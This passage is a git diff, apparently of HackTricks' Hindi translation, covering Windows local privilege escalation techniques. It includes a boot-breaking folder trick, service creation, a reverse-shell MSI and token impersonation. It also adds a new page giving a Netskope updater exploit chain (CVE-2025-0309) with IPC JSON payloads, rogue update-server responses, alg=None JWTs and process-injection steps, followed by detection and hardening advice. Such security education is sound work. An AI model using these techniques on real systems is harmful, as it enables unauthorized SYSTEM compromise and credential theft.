कोशिश करती है। +- लेकिन अब, junction + symlink की वजह से, यह वास्तव में डिलीट कर रहा है: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**परिणाम**: `C:\Config.Msi` को SYSTEM द्वारा हटा दिया जाता है। +**परिणाम**: `C:\Config.Msi` को SYSTEM द्वारा हटाया जाता है। -### From Arbitrary Folder Create to Permanent DoS +### Arbitrary Folder Create से Permanent DoS तक -एक primitive का फायदा उठाएँ जो आपको **create an arbitrary folder as SYSTEM/admin** करने की अनुमति देता है — भले ही आप **फ़ाइलें लिख न सकें** या **कमज़ोर permissions सेट न कर सकें**। +एक primitive का फायदा उठाएँ जो आपको **create an arbitrary folder as SYSTEM/admin** करने देता है — भले ही आप **you can’t write files** या **set weak permissions** कर न सकें। -किसी **महत्वपूर्ण Windows driver** के नाम से एक **फ़ोल्डर** (फ़ाइल नहीं) बनाइए, उदाहरण के लिए: +एक **folder** (not a file) बनाएं और उसे किसी **critical Windows driver** के नाम से रखें, उदाहरण के लिए: ``` C:\Windows\System32\cng.sys ``` -- यह पथ सामान्यतः `cng.sys` kernel-mode ड्राइवर के अनुरूप होता है। -- यदि आप इसे **पहले से फोल्डर के रूप में बना दें**, तो Windows बूट के दौरान वास्तविक ड्राइवर लोड करने में विफल रहता है। -- फिर, Windows बूट के दौरान `cng.sys` लोड करने की कोशिश करता है। -- यह फोल्डर देखता है, **वास्तविक ड्राइवर का पता लगाने में विफल रहता है**, और **क्रैश हो जाता है या बूट रोक देता है**। -- बाहरी हस्तक्षेप (उदा., boot repair या disk access) के बिना **कोई fallback नहीं** और **कोई recovery नहीं**। +- यह पथ सामान्यतः `cng.sys` kernel-mode ड्राइवर के अनुरूप होता है. +- यदि आप इसे **फ़ोल्डर के रूप में पहले से बनाते हैं**, तो Windows बूट पर वास्तविक ड्राइवर को लोड करने में विफल रहता है. +- फिर, Windows बूट के दौरान `cng.sys` लोड करने की कोशिश करता है. +- यह फ़ोल्डर देखता है, **वास्तविक ड्राइवर को resolve करने में विफल रहता है**, और **क्रैश हो जाता है या बूट रुक जाता है**. +- बाहरी हस्तक्षेप (उदा., boot repair या disk access) के बिना **कोई fallback नहीं**, और **कोई recovery नहीं**. + ## **High Integrity से SYSTEM तक** -### **नया service** +### **नई सर्विस** -यदि आप पहले से ही किसी High Integrity process पर चल रहे हैं, तो **SYSTEM तक रास्ता** केवल **एक नया service बनाकर और चलाकर** आसान हो सकता है: +यदि आप पहले से ही किसी High Integrity प्रोसेस पर चल रहे हैं, तो **SYSTEM तक रास्ता** बस एक नई सर्विस **बनाकर और उसे चलाकर** आसान हो सकता है: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> जब आप एक service binary बना रहे हों तो सुनिश्चित करें कि वह एक वैध service हो या binary आवश्यक क्रियाएँ तेजी से करे क्योंकि यदि वह वैध service नहीं होगा तो उसे 20s में बंद कर दिया जाएगा। +> जब आप एक service binary बना रहे हों तो सुनिश्चित करें कि यह एक वैध service है या binary आवश्यकता के अनुसार कार्य बहुत जल्दी करता हो, क्योंकि यदि यह वैध service नहीं है तो इसे 20s में kill कर दिया जाएगा। ### AlwaysInstallElevated -From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ -[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) +High Integrity process से आप कोशिश कर सकते हैं कि **AlwaysInstallElevated registry entries को enable करें** और एक reverse shell को _**.msi**_ wrapper का उपयोग करके **install** करें।\ +[registry keys और _.msi_ package कैसे install करनी है उसके बारे में अधिक जानकारी यहाँ।](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**आप** [**find the code here**](seimpersonate-from-high-to-system.md)**।** ### From SeDebug + SeImpersonate to Full Token privileges -यदि आपके पास वे token privileges हैं (संभवतः आप इन्हें पहले से ही किसी High Integrity process में पाएँगे), तो आप SeDebug privilege के साथ लगभग किसी भी process (protected processes को छोड़कर) को **open** कर सकेंगे, उस process का **token copy** कर सकते हैं, और उस token के साथ एक **arbitrary process create** कर सकते हैं।\ -इस तकनीक में आम तौर पर **SYSTEM के रूप में चल रहे किसी भी process को चुना जाता है जिसमें सभी token privileges हों** (_हाँ, आप SYSTEM processes ऐसे भी पा सकते हैं जिनमें सभी token privileges नहीं होते_).\ -**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +यदि आपके पास ये token privileges हैं (बहुत संभवतः आप इसे एक पहले से मौजूद High Integrity process में पाएंगे), तो आप SeDebug privilege के साथ लगभग किसी भी process (protected processes को छोड़कर) को **open** कर सकेंगे, उस process का **token copy** कर सकेंगे, और उस token के साथ एक **arbitrary process create** कर सकेंगे।\ +इस technique में आमतौर पर **SYSTEM के रूप में चल रहे किसी भी process को चुना जाता है जिसमें सभी token privileges हों** (_हाँ, आप SYSTEM processes पा सकते हैं जिनमें सभी token privileges नहीं होते_)।\ +**आप एक** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)** पा सकते हैं।** ### **Named Pipes** -This technique is used by meterpreter to escalate in `getsystem`. तकनीक में **एक pipe बनाना और फिर उस pipe पर लिखने के लिए किसी service को create/abuse करना** शामिल है। फिर, वह **server** जिसने pipe बनाया है और जिसने **`SeImpersonate`** privilege का उपयोग किया है, वह pipe client (service) के token को **impersonate** कर सकता है और SYSTEM privileges प्राप्त कर सकता है।\ -यदि आप [**name pipes के बारे में और सीखना चाहते हैं तो यह पढ़ें**](#named-pipe-client-impersonation)।\ -यदि आप एक उदाहरण पढ़ना चाहते हैं कि [**कैसे name pipes का उपयोग कर के high integrity से System तक पहुँचा जाए**](from-high-integrity-to-system-with-name-pipes.md) तो यह पढ़ें। +यह technique meterpreter द्वारा `getsystem` में escalate करने के लिए इस्तेमाल की जाती है। यह technique इस पर आधारित है कि **एक pipe बनाया जाए और फिर एक service को बनाया/abuse किया जाए ताकि वह pipe पर लिख सके**। फिर, वह **server** जिसने pipe बनाया था और जिसके पास **`SeImpersonate`** privilege है, वह pipe client (service) के token को **impersonate** कर पाएगा और SYSTEM privileges प्राप्त कर लेगा।\ +यदि आप [**name pipes के बारे में और जानना चाहते हैं तो यह पढ़ें**](#named-pipe-client-impersonation)।\ +यदि आप example पढ़ना चाहते हैं कि [**कैसे high integrity से System तक name pipes का उपयोग करके जाएँ**](from-high-integrity-to-system-with-name-pipes.md) तो यह पढ़ें। ### Dll Hijacking -यदि आप किसी ऐसे **dll को hijack** कर लेते हैं जो **SYSTEM** के रूप में चल रहे किसी **process** द्वारा **load** किया जा रहा हो, तो आप उन अनुमतियों के साथ arbitrary code execute कर पाएँगे। इसलिए Dll Hijacking इस प्रकार के privilege escalation के लिए उपयोगी है, और इसके अलावा, high integrity process से यह हासिल करना बहुत **आसान** होता है क्योंकि उसके पास dlls load करने के लिए उपयोग किए जाने वाले फोल्डर्स पर **write permissions** होंगे।\ -**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** +यदि आप किसी ऐसी dll को **hijack** करने में सफल होते हैं जिसे **SYSTEM के रूप में चल रहे किसी process द्वारा load किया जा रहा हो**, तो आप उन permissions के साथ arbitrary code execute कर पाएँगे। इसलिए Dll Hijacking इस तरह की privilege escalation के लिए भी उपयोगी है, और ऊपर से यह high integrity process से मिलने में **काफी आसान** है क्योंकि उसे dlls load करने के लिए उपयोग होने वाले folders पर **write permissions** मिल सकते हैं।\ +**आप** [**Dll hijacking के बारे में और जान सकते हैं यहाँ**](dll-hijacking/index.html)**।** ### **From Administrator or Network Service to System** @@ -1565,51 +1580,51 @@ This technique is used by meterpreter to escalate in `getsystem`. तकनी **पढ़ें:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## और मदद +## अधिक मदद [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## उपयोगी टूल्स -**Windows local privilege escalation vectors खोजने के लिए सर्वश्रेष्ठ टूल:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Windows local privilege escalation vectors देखने के लिए सबसे अच्छा टूल:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Misconfigurations और sensitive files की जाँच करें (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). पहचाना गया।**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- कुछ संभावित misconfigurations की जाँच और जानकारी एकत्रित करना (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Misconfigurations की जाँच**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP saved session जानकारी निकालता है। लोकल में -Thorough उपयोग करें।**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager से credentials निकालता है। पहचाना गया।**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- एकत्रित पासवर्ड्स को domain पर spray करना**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer और man-in-the-middle टूल है।**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- misconfigurations और sensitive files की जाँच के लिए (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)। Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- कुछ संभावित misconfigurations की जाँच और जानकारी इकट्ठा करने के लिए (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)।**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- misconfigurations की जाँच**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP saved session जानकारी निकालता है। local में -Thorough इस्तेमाल करें।**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager से credentials extract करता है। Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- इकट्ठे किए गए passwords को domain पर spray करने के लिए**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer और man-in-the-middle tool है।**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बेसिक privesc Windows enumeration**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- ज्ञात privesc vulnerabilities खोजें (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- लोकल चेक्स **(Admin rights आवश्यक)** +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- ज्ञात privesc vulnerabilities के लिए खोज (DEPRECATED for Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- local checks **(Admin rights की आवश्यकता)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- ज्ञात privesc vulnerabilities खोजें (VisualStudio का उपयोग करके compile करना होगा) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- misconfigurations की खोज करते हुए host enumerate करता है (ज्यादा एक gather info tool है न कि privesc) (compile करना होगा) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- बहुत से softwares से credentials निकालता है (github में precompiled exe)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- ज्ञात privesc vulnerabilities के लिए खोज (VisualStudio का उपयोग करके compile करने की आवश्यकता) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- misconfigurations की खोज के लिए host को enumerate करता है (zyaada gather info tool; needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- बहुत सारे softwares से credentials extract करता है (github पर precompiled exe है)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp का C# पोर्ट**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Misconfiguration की जाँच (executable github में precompiled). सलाह नहीं दी जाती। यह Win10 में अच्छे से काम नहीं करता।\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- संभावित misconfigurations की जाँच (python से exe)। सलाह नहीं दी जाती। यह Win10 में अच्छे से काम नहीं करता। +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- misconfiguration की जाँच (executable github पर precompiled)। सिफारिश नहीं की जाती। यह Win10 पर अच्छी तरह काम नहीं करता।\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- संभावित misconfigurations की जाँच (python से exe)। सिफारिश नहीं की जाती। यह Win10 पर अच्छी तरह काम नहीं करता। **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool इस पोस्ट के आधार पर बनाया गया है (यह proper तरीके से काम करने के लिए accesschk की आवश्यकता नहीं है पर यह उसे उपयोग कर सकता है)। +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- यह पोस्ट के आधार पर बनाया गया टूल है (इसे ठीक से काम करने के लिए accesschk की आवश्यकता नहीं होती पर यह इसका उपयोग कर सकता है)। **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** के आउटपुट को पढ़कर काम करने वाले exploits सुझाता है (लोकल python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** के आउटपुट को पढ़कर काम करने वाले exploits सुझाता है (लोकल python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** के output को पढ़ता है और काम करने वाले exploits सुझाता है (local python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** के output को पढ़ता है और काम करने वाले exploits सुझाता है (local python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -आपको प्रोजेक्ट को सही संस्करण के .NET के साथ compile करना होगा ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). पीड़ित होस्ट पर इंस्टॉल किए गए .NET संस्करण को देखने के लिए आप कर सकते हैं: +प्रोजेक्ट को सही संस्करण के .NET का उपयोग करके compile करना होगा ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). शिकार (victim) host पर इंस्टॉल .NET वर्शन देखने के लिए आप यह कर सकते हैं: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..d183c21f0 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,121 @@ +# एंटरप्राइज़ Auto-Updaters और Privileged IPC का दुरुपयोग (उदा., Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +यह पृष्ठ उन Windows local privilege escalation चेन का सामान्यीकरण करता है जो एंटरप्राइज़ endpoint agents और updaters में मिलती हैं और जो एक low‑friction IPC surface और एक privileged update flow उजागर करती हैं। एक प्रतिनिधि उदाहरण Netskope Client for Windows < R129 (CVE-2025-0309) है, जहाँ एक low‑privileged उपयोगकर्ता को attacker‑controlled सर्वर पर enrollment कराने के लिए मजबूर किया जा सकता है और फिर एक malicious MSI पहुँचाई जा सकती है जिसे SYSTEM सेवा इंस्टॉल कर देती है। + +आप समान उत्पादों के खिलाफ पुन: उपयोग कर सकने वाले प्रमुख विचार: +- एक privileged सेवा के localhost IPC का दुरुपयोग करके re‑enrollment या reconfiguration को attacker सर्वर की ओर मजबूर करना। +- vendor के update endpoints को implement करना, एक rogue Trusted Root CA पहुँचाना, और updater को एक malicious, “signed” package की ओर इंगित करना। +- कमजोर signer जांचों (CN allow‑lists), वैकल्पिक digest flags, और शिथिल MSI गुणों से बचना। +- यदि IPC “encrypted” है, तो registry में संग्रहीत world‑readable machine identifiers से key/IV निकालना। +- यदि सेवा callers को image path/process name द्वारा प्रतिबंधित करती है, तो किसी allow‑listed process में inject करना या एक suspended प्रक्रिया spawn करके अपने DLL को minimal thread‑context patch के माध्यम से bootstrap करना। + +--- +## 1) localhost IPC के माध्यम से attacker सर्वर पर enrollment जबरदस्ती करना + +कई एजेंट एक user‑mode UI प्रक्रिया के साथ आते हैं जो localhost TCP पर JSON का उपयोग करते हुए SYSTEM सेवा से बात करती है। + +Observed in Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Exploit flow: +1) ऐसे JWT enrollment token तैयार करें जिनके claims backend host (उदा., AddonUrl) को नियंत्रित करते हों। Use alg=None ताकि किसी signature की आवश्यकता न रहे। +2) provisioning कमांड को invoke करते हुए अपना JWT और tenant name के साथ IPC संदेश भेजें: +```json +{ +"148": { +"idpTokenValue": "", +"tenantName": "TestOrg" +} +} +``` +3) The service starts hitting your rogue server for enrollment/config, e.g.: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +नोट्स: +- यदि caller verification path/name‑based है, तो request को allow‑listed vendor binary से originate करें (देखें §4). + +--- +## 2) Hijacking the update channel to run code as SYSTEM + +एक बार जब client आपके server से बात करता है, तो अपेक्षित endpoints को लागू करें और इसे एक attacker MSI की ओर मोड़ें। सामान्य अनुक्रम: + +1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.: +```json +{ +"clientUpdate": { "updateIntervalInMin": 1 }, +"check_msi_digest": false +} +``` +2) /config/ca/cert → एक PEM CA प्रमाणपत्र लौटाएँ। सेवा इसे Local Machine Trusted Root store में इंस्टॉल कर देती है। +3) /v2/checkupdate → मेटाडेटा प्रदान करें जो एक malicious MSI और एक fake version की ओर इशारा करता है। + +Bypassing common checks seen in the wild: +- Signer CN allow‑list: सेवा केवल Subject CN को “netSkope Inc” या “Netskope, Inc.” के बराबर चेक कर सकती है। आपका rogue CA उस CN के साथ एक leaf जारी कर सकता है और MSI पर साइन कर सकता है। +- CERT_DIGEST property: CERT_DIGEST नाम का एक benign MSI property शामिल करें। इंस्टॉल के दौरान कोई प्रवर्तन नहीं। +- Optional digest enforcement: config flag (e.g., check_msi_digest=false) अतिरिक्त cryptographic validation को disable कर देती है। + +Result: SYSTEM service आपके MSI को C:\ProgramData\Netskope\stAgent\data\*.msi से इंस्टॉल कर देता है और NT AUTHORITY\SYSTEM के रूप में arbitrary code execute करता है। + +--- +## 3) Forging encrypted IPC requests (when present) + +R127 से, Netskope ने IPC JSON को एक encryptData फ़ील्ड में wrap किया जो Base64 जैसा दिखता है। reversing से पता चला कि AES उपयोग हुआ था और key/IV registry values से derive होते हैं जो किसी भी user द्वारा पढ़े जा सकते हैं: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +Attackers encryption reproduce कर सकते हैं और एक standard user से valid encrypted commands भेज सकते हैं। सामान्य सुझाव: अगर कोई agent अचानक अपनी IPC “encrypt” करता है, तो HKLM के अंतर्गत device IDs, product GUIDs, install IDs जैसे material खोजें। + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +कुछ services peer को authenticate करने के लिए TCP connection का PID resolve करके image path/name को allow‑listed vendor binaries (उदा., stagentui.exe, bwansvc.exe, epdlp.exe) के साथ compare करते हैं। + +दो practical bypasses: +- किसी allow‑listed process (उदा., nsdiag.exe) में DLL injection और उसके अंदर से IPC को proxy करें। +- एक allow‑listed binary को suspended स्थिति में spawn करें और CreateRemoteThread का उपयोग किए बिना अपनी proxy DLL bootstrap करें (see §5) ताकि driver‑enforced tamper rules संतुष्ट हों। + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +Products अक्सर एक minifilter/OB callbacks driver (उदा., Stadrv) के साथ आते हैं जो protected processes के handles से खतरनाक अधिकार हटाते हैं: +- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME हटाता है +- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE तक सीमित करता है + +एक विश्वसनीय user‑mode loader जो इन प्रतिबंधों का सम्मान करता है: +1) CreateProcess of vendor binary with CREATE_SUSPENDED। +2) वे handles प्राप्त करें जिनका आपको अभी भी अधिकार है: process पर PROCESS_VM_WRITE | PROCESS_VM_OPERATION, और thread handle के लिए THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (या अगर आप किसी ज्ञात RIP पर कोड patch कर रहे हैं तो सिर्फ THREAD_RESUME)। +3) ntdll!NtContinue (या कोई अन्य early, guaranteed‑mapped thunk) को ओवरराइट करें एक छोटे stub से जो आपकी DLL path पर LoadLibraryW कॉल करे, फिर वापस jump करे। +4) ResumeThread करें ताकि आपका stub इन‑प्रोसेस ट्रिगर हो और आपकी DLL load हो जाए। + +क्योंकि आपने पहले से‑protected process पर PROCESS_CREATE_THREAD या PROCESS_SUSPEND_RESUME का उपयोग नहीं किया (आपने उसे बनाया था), driver की policy संतुष्ट होती है। + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) एक rogue CA, malicious MSI signing automate करता है, और आवश्यक endpoints सर्व करता है: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope एक custom IPC client है जो arbitrary (optionally AES‑encrypted) IPC messages बनाता है और suspended‑process injection शामिल करता है ताकि originate हो एक allow‑listed binary से। + +--- +## 7) Detection opportunities (blue team) +- Local Machine Trusted Root में additions की निगरानी करें। Sysmon + registry‑mod eventing (देखें SpecterOps guidance) अच्छा काम करता है। +- agent की service द्वारा ऐसे paths से शुरू किए गए MSI executions को flag करें जैसे C:\ProgramData\\\data\*.msi। +- agent logs की समीक्षा करें unexpected enrollment hosts/tenants के लिए, उदाहरण: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – addonUrl / tenant anomalies और provisioning msg 148 देखें। +- localhost IPC clients पर alert करें जो expected signed binaries नहीं हैं, या जो असामान्य child process trees से आते हैं। + +--- +## Hardening tips for vendors +- enrollment/update hosts को strict allow‑list से बाँधें; clientcode में untrusted domains को reject करें। +- image path/name checks के बजाय OS primitives (ALPC security, named‑pipe SIDs) से IPC peers authenticate करें। +- world‑readable HKLM में secret material न रखें; अगर IPC encrypt करनी ही है तो keys protected secrets से derive करें या authenticated channels पर negotiate करें। +- updater को supply‑chain surface समझें: एक पूरी chain require करें जो आपके control वाले trusted CA तक जाती हो, package signatures को pinned keys के खिलाफ verify करें, और अगर validation config में disabled है तो fail closed रखें। + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}}